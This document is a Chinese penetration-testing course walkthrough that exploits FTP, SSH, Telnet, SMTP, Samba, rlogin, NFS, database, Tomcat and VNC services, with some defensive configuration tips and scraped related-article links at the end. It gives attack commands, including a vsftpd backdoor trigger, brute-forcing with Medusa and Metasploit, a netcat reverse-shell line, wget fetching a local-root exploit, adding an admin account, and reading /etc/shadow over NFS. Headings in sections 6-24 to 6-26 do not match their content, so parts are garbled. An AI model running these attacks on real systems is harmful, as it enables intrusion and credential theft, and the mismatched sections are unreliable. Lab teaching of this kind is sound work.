6-1漏洞利用-FTP漏洞利用

1. FTP协议介绍

文件传输协议(英文:File Transfer Protocol,缩写:FTP)是用于在网络上进行文件传输的一套标准协议,使用客户/服务器模式。它属于网络传输协议的应用层。FTP使用21号端口。

用户分类:
1、Real用户  2、Administrator  3、匿名用户

FTP文件传输格式
1、ASCII  2、二进制格式

2. 利用FTP匿名登录漏洞

由于FTP没有禁止匿名用户,所以可以直接使用Anonymous用户直接登录FTP服务器。
使用nc 连接ftp

3. 利用FTP后门漏洞

vsftpd手工出发漏洞:当进行FTP认证时,如果用户名USER中包含:),那么直接就触发监听6200端口的连接的shell。

4. FTP安全配置

1、修改配置文件,禁止匿名用户登录。

2、对特定漏洞进行打补丁,或者设置防火墙禁止连接后门端口。
iptables -A  INPUT -p tcp -dport  6200 -j  DROP
iptabels -A OUTPUT -p tcp sport  6200 -j DROP

6-2漏洞利用-ftp不可避免的问题

1. FTP用户名密码暴力破解

Windows下 CMD命令添加用户、以及提升Administrator管理员权限。

- net user 用户名 用户密码 /add
- net localgroup administrators admin /add

Windows下 FTP服务器添加用户操作。

使用medusa暴力破解FTP登录

2. FTP用户名明文密码验证

FTP协议中用于用户认证的过程中,客户端与服务器端是通过明文进行交互信息。验证FTP登录过程中明文传输用户名和密码。

3. FTP用户名明文密码嗅探

利用arpspoof进行ARP嗅探

利用Wireshark进行流量嗅探。

4. FTP登录之后做的事情

利用metasploit创建反弹shell上传到FTP服务器。可以利用setookit快速生成反弹shell。

6-3漏洞利用-SSH环境搭建

1. ubuntu搭建ssh服务端

ubuntu下安装服务端:
sudo apt-get install openssh-server

2. ssh服务端服务启动与关闭

启动、状态获取、关闭
service ssh start
service ssh status
service ssh stop

3. ubuntu搭建ssh客户端

ubuntu下安装putty工具:
sudo apt-get install putty-tools

ubuntu下安装putty:
在软件中心搜索putty进行安装

4. 客户端连接服务端

打开putty输入服务端信息,连接。

ps:参考文章

6-4漏洞利用-SSH Banner信息获取

1. nmap获取ssh Banner信息

nmap  -sV -p 22 IP地址

2. Metasploit获取 ssh Banner信息

auxiliary/scanner/ssh/ssh_version
msf auxiliary(ssh_version) > set rhosts IP
msf auxiliary(ssh_version) > set rport 22
msf auxiliary(ssh_version) > exploit

3. nc获取 ssh Banner信息

nc IP地址 22

4. 配置ssh规避Banner信息

在ssh配置文件sshd_config中新增一行。DebianBanner no  再次扫描发现没有操作系统信息。

6-5漏洞利用-SSH弱口令破解利用

1. Medusa SSH弱口令破解

如果在设置SSH服务时,管理员设置了容易被猜解出来的用户名和密码(弱口令)。那么测试人员就可以使用对应的密码工具进行暴力破解弱口令。破解出来就可以使用对应的用户名和密码登录系统。

下面介绍Medusa对指定的ssh服务进行用户名和密码破解。

2. SSH命令行工具登录

一般情况下Linux下都具有ssh客户端,用来登录ssh服务端。

可以使用 ssh 用户名@IP地址  然后根据提示输入密码。

3. Metasploit利用SSH登录反弹Shell

使用Metasploit可以进行ssh登录(破解),会自动建立对应的Bash shell连接。

4. Metasploit获取Meterpreter Shell

利用 获得的Bash shell,注入Metasploit中Meterpreter payload从而获取更强大功能的shell。

6-6漏洞利用-SSH安全防御

1. SSH 修改默认端口

默认情况下,SSH使用22端口。为了安全,一般情况下都会修改默认端口。

2. SSH 设置PGP登录

默认情况下,SSH使用用户名和密码进行远程登录。但也可以使用密钥对进行身份验证登录(公钥与私钥)。

生成SSH密钥对,使用puttygen。
下载链接:https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

使用  ssh-keygen 命令在Linux生成.ssh目录,在.ssh下新建密钥存储文件authorized_keys,并复制私钥文件到.ssh目录下。使用命令 puttygen -L “拷贝私钥文件” ,将内容拷贝到authorized_keys文件中。

使用Putty客户端加载私钥文件进行连接。

3. SSH 防御暴力破解用户账号

在Linux下可以配置不能使用用户名和密码登录,只使用SSH PGP方式验证登录。规避了SSH暴力破解。

4. Iptables设置阈值防止暴力破解

利用Iptables对多次连接验证错误,进行账户锁定120秒。

iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --set
iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent  --update --seconds 120 --hitcount 3 -j DROP

在设置完之后,需要重新启动ssh服务。

6-7漏洞利用-Telnet暴力破解

1. telnet介绍

Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序,用它连接到服务器。终端使用者可以在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。

虽然Telnet较为简单实用也很方便,但是在格外注重安全的现代网络技术中,Telnet并不被重用。原因在于Telnet是一个明文传送协议,它将用户的所有内容,包括用户名和密码都明文在互联网上传送,具有一定的安全隐患,因此许多服务器都会选择禁用Telnet服务。如果我们要使用Telnet的远程登录,使用前应在远端服务器上检查并设置允许Telnet服务的功能。

Telnet服务端默认情况下使用23端口。

2. telnet版本获取

使用nmap获取telnet版本信息,或者使用metasploit获取对应版本信息。

3. telnet密码破解

使用metasploit下 针对telnet破解的模块进行用户名和密码的破解。
在msfconsole下使用search telnet进行查询telnet可以利用的模块。

4. telnet登录测试

使用破解好的会话连接telnet,并执行对应命令。
使用 sessions -l 例举建立的会话
使用 sessions -i id  使用对应的会话。

6-8漏洞利用-Telnet认证过程抓包分析

1. telnet客户端连接telnet服务器

windows下开启telnet客户端,连接telnet服务端。

2. telnet明文密码传输

使用wireshark抓取telnet数据包。

6-9漏洞利用-Telnet登陆提权

1. msf登录telnet

在metasploit中使用  telnet_login进行登录,并使用sessions -i id 连接shell。

2. msf连接shell下载exp

使用 wget进行下载

wget http://www.exploit-db.com/download/8572

3. 设置kali nc监听

使用 netcat 进行监听 后期返回的shell。 
nc -lvp 4444

4. 编译执行exp,获取root

gcc 源文件  -o  exploit

echo '#!/bin/sh' > /tmp/run

echo '/bin/netcat -e /bin/sh 192.168.1.105 4444' >> /tmp/run

ps -edf |grep udev

执行exploit   具有root权限的pid -1
./exploit 数字pid -1

6-10漏洞利用-Smtp实验环境搭建

1. 邮件发送与接受模型

邮件发送使用 smtp协议,占用25端口。而邮件接收使用 pop3 或  imap 协议,分别占用 110和143端口。

2. 添加主机名和域名

为了在本地搭建好邮件服务器,所以需要修改对应内容。使得可以在本地进行域名解析。

sudo gedit /etc/hosts
127.0.0.1 mail.test.lab test

sudo gedit /etc/hostname
test

修改完成之后使用 reboot进行重启,使得修改生效。

使用 
hostname  或 hostname -f  查看修改是否成功。

3. ubuntu 安装postfix

因为postfix是非常流行的smtp软件,所以ubuntu的主要库中集成了postfix,可以直接使用以下命令安装:

sudo apt-get install postfix

修改配置文件:
sudo gedit /etc/postfix/main.cf

追加子网信息
inet_protocols = ipv4
home_mailbox = Maildir/
修改完成之后重新启动服务 postfix
sudo service postfix restart ,  然后使用 netstat -nlv 来查看对应25端口是否开启。

4. ubuntu安装dovecot

sudo apt-get install dovecot-imapd dovecot-pop3d

sudo gedit /etc/dovecot/conf.d/10-auth.conf
disable_plaintest_auth = yes
auth_mechanisms = plain login

sudo gedit /etc/dovecot/conf.d/10-mail.conf
mail_location=  maildir:/home/%u/Maildir
sudo gedit /etc/dovecot/conf.d/10-master.conf
设置 port =143  port 110

修改权限 
unix_listerner auth-usrdb{
    mode = 0600
    user = postfix
    group = postfix
}
重新启动 dovecot服务   sudo service dovecot restart   使用 netstat -nlv 查看服务端口  110 143是否开启

6-11漏洞利用-利用搭建环境发送邮件

1. 发送邮件

利用Linux下 thunderbird软件进行邮件的发送。

2. 接收邮件

利用thunderbird接收邮件。

6-12漏洞利用-枚举smtp用户名

1. telnet测试用户名

telnet IP地址 端口

2. metasploit测试用户名

在metasploit中有 smtp-enum可以对smtp上用户名进行枚举。

use auxiliary/scanner/smtp/smtp_enum
msf auxiliary(smtp_enum) > set rhosts 192.168.1.107
msf auxiliary(smtp_enum) > set rport 25
msf auxiliary(smtp_enum) > set USER_FILE /root/Desktop/user.txt
msf auxiliary(smtp_enum) > exploit

3. smtp-user-enum测试用户名

smtp-user-enum专门用来进行smtp用户名枚举的工具。

smtp-user-enum -M VRFY -U /root/Desktop/user.txt -t 目标IP地址

4. ismtp测试用户名

ismtp -h IP地址:25 -e /root/Desktop/email.txt

6-13漏洞利用-smtp暴力破解

1. smtp版本信息获取

使用metasploit中的smtp-version模块探测smtp服务的版本信息。
目标:129.121.22.119

2. medusa工具介绍

medusa是一款用来破解不同协议用户名和密码的专用软件。

3. smtp验证方式

参考链接:https://en.wikipedia.org/wiki/SMTP_Authentication

4. medusa破解smtp

medusa -h 目标IP地址  -u 用户名  -P 字典文件  -M 协议模块

6-14漏洞利用-rpcbind漏洞利用

1. rpcbind介绍

通俗的来说 , rpcbind是NFS中用来进行消息通知的服务。

一般情况下rpcbind运行在111端口。并且NFS配置开启 rpcbind_enable="YES"

2. 探测目标rpcbind

使用 nmap -sV -p 111 IP地址  探测目标rpcbind版本信息。

3. nmap脚本探测

在nmap中 使用  nmap -p 111 --script=rpcinfo 目标IP地址  来探测目标的rpcinfo信息。

4. metasploit模块探测

使用metasploit下的  auxiliary/scanner/misc/sunrpc_portmapper 进行目标探测。

6-15漏洞利用-smb-RCE远程命令执行

1. samba介绍

Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。

一般运行在  139、445端口。

2. 探测目标samba

使用 nmap -sV -p 139 445  IP地址  探测目标端口服务版本信息。

3. metasploit漏洞利用

在Metasploit中集成了利用samba usermap RCE的脚本。
exploit/mulit/samba/usermap_script

在Metasploit show info可以查看漏洞信息

4. 防御修复

在Metasploit show info可以查看漏洞信息

6-16漏洞利用-rlogin最高权限登陆

1. rlogin介绍

远程登录(rlogin)是一个 UNIX 命令,它允许授权用户进入网络中的其它 UNIX 机器并且就像用户在现场操作一样。一旦进入主机,用户可以操作主机允许的任何事情

2. 探测目标rlogin

使用 nmap -sV -p 512,513 IP地址  探测目标rlogin版本信息。
512用于对远程执行的进程进行验证  、 513反弹bash shell。

3. rlogin最高权限登录

使用  rlogin -l root IP地址  使用最高权限登录系统

4. 防御修复

1、添加root登录验证密码。

2、关闭rlogin服务,改用ssh等来管理服务器。

6-17漏洞利用-反序列化远程命令执行漏洞

1. Java rmi介绍

Java RMI 指的是远程方法调用 (Remote Method Invocation)。它是一种机制,能够让在某个 Java 虚拟机上的对象调用另一个 Java 虚拟机中的对象上的方法。

2. 探测目标rmi

RMI是J2SE的一部分,能够让程序员开发出基于JAVA的分布式应用。一个RMI对象是一个远程JAVA对象,可以从另一个JAVA虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地JAVA对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。 
  对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于class path中的可序列化类来反序列化。 
  RMI的传输100%基于反序列化。

3. rmi远程命令执行利用

使用Nmap -p 1099 -sV IP地址探测目标的版本信息。

使用Metasploit 对 rmi  RCE漏洞利用。

4. 防御修复

a.存在反序列化传输。  --  特别注意
b.存在有缺陷的第三方库如commons-collections   及时升级库。

6-18漏洞利用-后门连接

1. 后门连接探测

某些情况下,服务器可能存在某些后门。可以使用Nmap进行探测。

2. nc连接后门获取权限

Nc  目标IP  端口号 连接后门程序。

6-19漏洞利用-nsf获取目标密码文件

1.  nfs介绍

NFS(Network File System)即网络文件系统,是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。

2.  探测目标nfs

nmap --script=nfs-* IP

3. 探测nfs是否可以导出

使用showmount命令确定“/”共享(文件系统的根)是否正在导出。可能需要安装nfs-common包才能使用“showmount”命令
apt-get install nfs-common

showmount -e IP

4. 查看导出内容

mkdir nfs_root
mount -t nfs IP地址:/ ~/nfs_root -o nolock
cat ~/nfs_root/etc/shadow

6-20漏洞利用-proftpd测试

1. proftpd介绍

ProFTPD:一个Unix平台上或是类Unix平台上(如Linux, FreeBSD等)的FTP服务器程序

http://www.proftpd.org/

2. 探测目标proftpd

使用 nmap -sV -p 2121 IP地址  探测目标proftpd版本信息。

3. exploit-db搜索目标漏洞

在 https://www.exploit-db.com/ 输入对应软件及版本搜索是否有漏洞。

4. msf暴力破解密码

使用metasploit下的  auxiliary/scanner/ftp/ftp_login 进行目标探测。

6-21漏洞利用-mysql弱口令破解

1. mysql介绍

MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MySQL是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件。
MySQL是一种关系数据库管理系统,关系数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。

官网:https://www.mysql.com/

2. 探测目标mysql

使用 nmap -sV -p 3306 IP地址  探测目标mysql版本信息。

3. msf破解mysql密码

使用 msf下的 mysql_login模块破解mysql登录用户名和密码。

4. 登录数据库查看数据

使用 mysql -h IP地址  -u root 登录数据库系统

6-22漏洞利用-postgresql数据库密码破解

1. postgresql介绍

PostgreSQL是以加州大学伯克利分校计算机系开发的 POSTGRES,现在已经更名为PostgreSQL,版本 4.2为基础的对象关系型数据库管理系统(ORDBMS)。PostgreSQL支持大部分 SQL标准并且提供了许多其他现代特性:复杂查询、外键、触发器、视图、事务完整性、MVCC。同样,PostgreSQL 可以用许多方法扩展,比如, 通过增加新的数据类型、函数、操作符、聚集函数、索引。免费使用、修改、和分发 PostgreSQL,不管是私用、商用、还是学术研究使用。
https://www.postgresql.org/

2. 探测目标postgresql

使用 nmap -sV -p 5432 IP地址  探测目标postgresql版本信息。

3. msf暴力破解postgresql

在 msf下使用 postgresql_login模块 破解系统登录用户名和密码。

4. 登录postgresql

利用 pyadmin客户端软件登陆postgresql。

6-23漏洞利用-postgresql代码执行利用

1. postgresql代码执行利用

利用 msf 下 postgresql的 代码执行获得反弹shell.

2. 防御修复

防御:屏蔽任意IP连接Postgresql

修复:升级版本,安全配置

6-24漏洞利用-vnc密码破解

1. tomcat介绍

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。默认情况下,8180端口是tomcat管理的HTTP端口

2. 探测目标tomcat

使用 nmap -sV -p 8180 IP地址  探测目标tomcat版本信息。

3. msf破解tomcat密码

msf下的 auxiliary/scanner/http/tomcat_mgr_login 模块来对tomcat管理登陆密码进行破解。

4. msf利用tomcat管理

在msf下可以使用use multi/http/tomcat_mgr_deploy模块利用tomcat upload 功能反弹shell。

6-25漏洞利用-irc后门利用

1. vnc介绍

VNC (Virtual Network Console)是虚拟网络控制台的缩写。它 是一款优秀的远程控制工具软件,由著名的 AT&T 的欧洲研究实验室开发的。可视化控制,类似于远程桌面,默认vnc服务端运行在5900端口

2. 探测目标vnc

使用 nmap -sV -p 5900 IP地址  探测目标vnc版本信息。

3. msf破解vnc密码

在msf下 vnc_login模块可用来对vnc服务端认证用户名和密码进行破解。

 4. vnc客户端登陆

windows下 安装vnc viewer客户端软件连接VNC服务端。

6-26漏洞利用-tomcat管理密码破解

1. irc介绍

IRC是Internet Relay Chat 的英文缩写,中文一般称为互联网中继聊天。它是由芬兰人Jarkko Oikarinen于1988年首创的一种网络聊天协议。经过十年的发展,目前世界上有超过60个国家提供了IRC的服务。IRC的工作原理非常简单,您只要在自己的PC上运行客户端软件,然后通过因特网以IRC协议连接到一台IRC服务器上即可。它的特点是速度非常之快,聊天时几乎没有延迟的现象,并且只占用很小的带宽资源。所有用户可以在一个被称为\"Channel\"(频道)的地方就某一话题进行交谈或密谈。每个IRC的使用者都有一个Nickname(昵称)。

默认情况下,irc服务器运行在 6667端口。

2. 探测目标irc

使用 nmap -sV -p 6667 IP地址  探测目标irc版本信息。

3. msf利用irc后门

4. 修复防御

a、升级软件版本

b、更换其他软件

010106漏洞利用相关推荐

  1. CORS漏洞利用检测和利用方式

    CORS全称Cross-Origin Resource Sharing, 跨域资源共享,是HTML5的一个新特性,已被所有浏览器支持,不同于古老的jsonp只能get请求. 检测方式: 1.curl访 ...

  2. 流行漏洞利用工具包瞄准Flash、Java和IE

    Digital Shadows研究了"In the Business of Exploitation"中22个漏洞利用工具包,发现共有76个被瞄准的漏洞.最常被利用的软件应该不会太 ...

  3. Flash Player漏洞利用Exploiting Flash Reliably

    以下消息来自幻影论坛[Ph4nt0m]邮件组   前两天推荐过Mark Dowd的Paper "Exploiting Flash Reliably" [url]http://hi. ...

  4. 溢出漏洞利用小结(基础)

    shell 获取小结 这里总结几种常见的获取 shell 的方式: 执行 shellcode,这一方面也会有不同的情况 可以直接返回 shell 可以将 shell 返回到某一个端口 shellcod ...

  5. 7. Vulnerability exploitation tools (漏洞利用工具 11个)

    Metasploit于2004年发布时,将风暴带入了安全世界.它是开发,测试和使用漏洞利用代码的高级开源平台. 可以将有效载荷,编码器,无操作生成器和漏洞利用的可扩展模型集成在一起,使得Metaspl ...

  6. ASP.net 资源请求漏洞利用工具PadBuster

    ASP.net 资源请求漏洞利用工具PadBuster 在ASP.net 网站中,为了便于部署网站项目,开发者往往会将资源(图片.Javascript文件)嵌入到dll文件中.而网页中,会使用WebR ...

  7. ewebeditor编辑器ASP/ASPX/PHP/JSP版本漏洞利用总结及解决方法

    ewebeditor编辑器ASP/ASPX/PHP/JSP版本漏洞利用总结及解决方法 参考文章: (1)ewebeditor编辑器ASP/ASPX/PHP/JSP版本漏洞利用总结及解决方法 (2)ht ...

  8. S2-045漏洞利用工具解决方案

    S2-045漏洞利用工具&解决方案 参考文章: (1)S2-045漏洞利用工具&解决方案 (2)https://www.cnblogs.com/sevck/p/6516268.html ...

  9. WPS漏洞利用工具Bully常见命令集合

    WPS漏洞利用工具Bully常见命令集合 Bully是一款利用路由的WPS漏洞来破解WiFi密码工具.相比Reaver工具,Bully提升了资源使用效率,并提供了更丰富的设置选项.

最新文章

  1. 运用.NET读写Windows注册编辑表
  2. CTO 写的代码,真是绝了
  3. 思科bfd静态路由切换_思科路由器曝出两个严重零日漏洞,已被野外利用
  4. angular模态框位置_宽带双波束双模态OAM反射阵天线
  5. 牛客 - 牛牛的mex(主席树/思维)
  6. server sql top速度变慢解决方案_SQL Server数据库查询速度慢的原因和解决方法
  7. 只想问你一句:“伤害我,你会心疼吗?”
  8. 信息学奥赛一本通C++语言——1102: 与指定数字相同的数的个数
  9. Java怎么去最高分最低分,深入java虚拟机:原子操作ParkEvent和Parker
  10. 查看window重启日志
  11. 2005/2/21 开始查阅有关gis的相关信息
  12. Spring Cloud Zuul--服务网关
  13. PyTorch:安装和配置
  14. MyCat分片规则之程序指定分片
  15. 金山词霸2007两个小BUG
  16. [每日一题]128:四则运算(小米OJ)表达式求值
  17. catia怎么添加毛坯_CATIA教程
  18. win10 红警启动必要文件
  19. python里读取文件路径上一级路径及文件的方法
  20. 简易图片打像素标签工具

热门文章

  1. GBA coming
  2. mkisofs 制作iso镜像文件
  3. 双系统删除Ubuntu,出现grub无法正常启动的解决办法
  4. transform: perspective 和 perspective 的区别
  5. odoo权限管理详解
  6. solrj java_详解java整合solr5.0之solrj的使用
  7. Computer:如何将表格以正确地姿势从Excel文件复制粘贴到word文件中(保证两个数据源一致)
  8. Flash8+Vs2005实现大头贴的效果(原创)
  9. 求助怎么用Multisim画图
  10. The Chinese Postman Problem【HIT-2739】【中国邮路问题/最小费用可行流】